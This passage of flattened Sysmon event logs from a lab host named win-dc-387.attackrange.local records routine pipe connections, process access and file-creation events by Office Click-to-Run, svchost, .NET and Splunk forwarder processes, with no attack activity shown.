19\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000041096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.612{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.596{7BD73061-65B2-613B-1000-00000000F001}364NT AUTHORITY\LOCAL SERVICEC:\Windows\system32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\FontCache-Obsolete-406.datMD5=E3685C4CAFEE443DBD12D37124B09DA6,SHA256=0619EFF7BB92F89D9085A12EDFA7F3FF41AFFF530D3394A02FE7A43C956C7187,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.596{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.581{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F36-613B-8E08-00000000F001}1576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.581{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.581{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=6CC168D534FCD55C94B7C0BD15AFE0A8,SHA256=4EF778284C55B1CDF98347719CB30766D9C513486DCDC0FB2BCA8B06B28EA40E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.565{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=07177E783FD9B3F37833439669826A5B,SHA256=E372F4C3317884A52E8A408D1B93AD8557A063A8563811A9C32AF0CCBF2E9E16,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.549{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.549{7BD73061-6F34-613B-7908-00000000F001}860NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\Temp\WIN-DC-387-20210910-1444.logMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.549{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.549{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=86360C0C0167F68FA19AC37B8AAC8BE8,SHA256=10A47A330C9CDB243814C158CC3083896F0E6A458DF558F30856952886AE49F6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.534{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.502{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.502{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.487{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.487{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.471{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 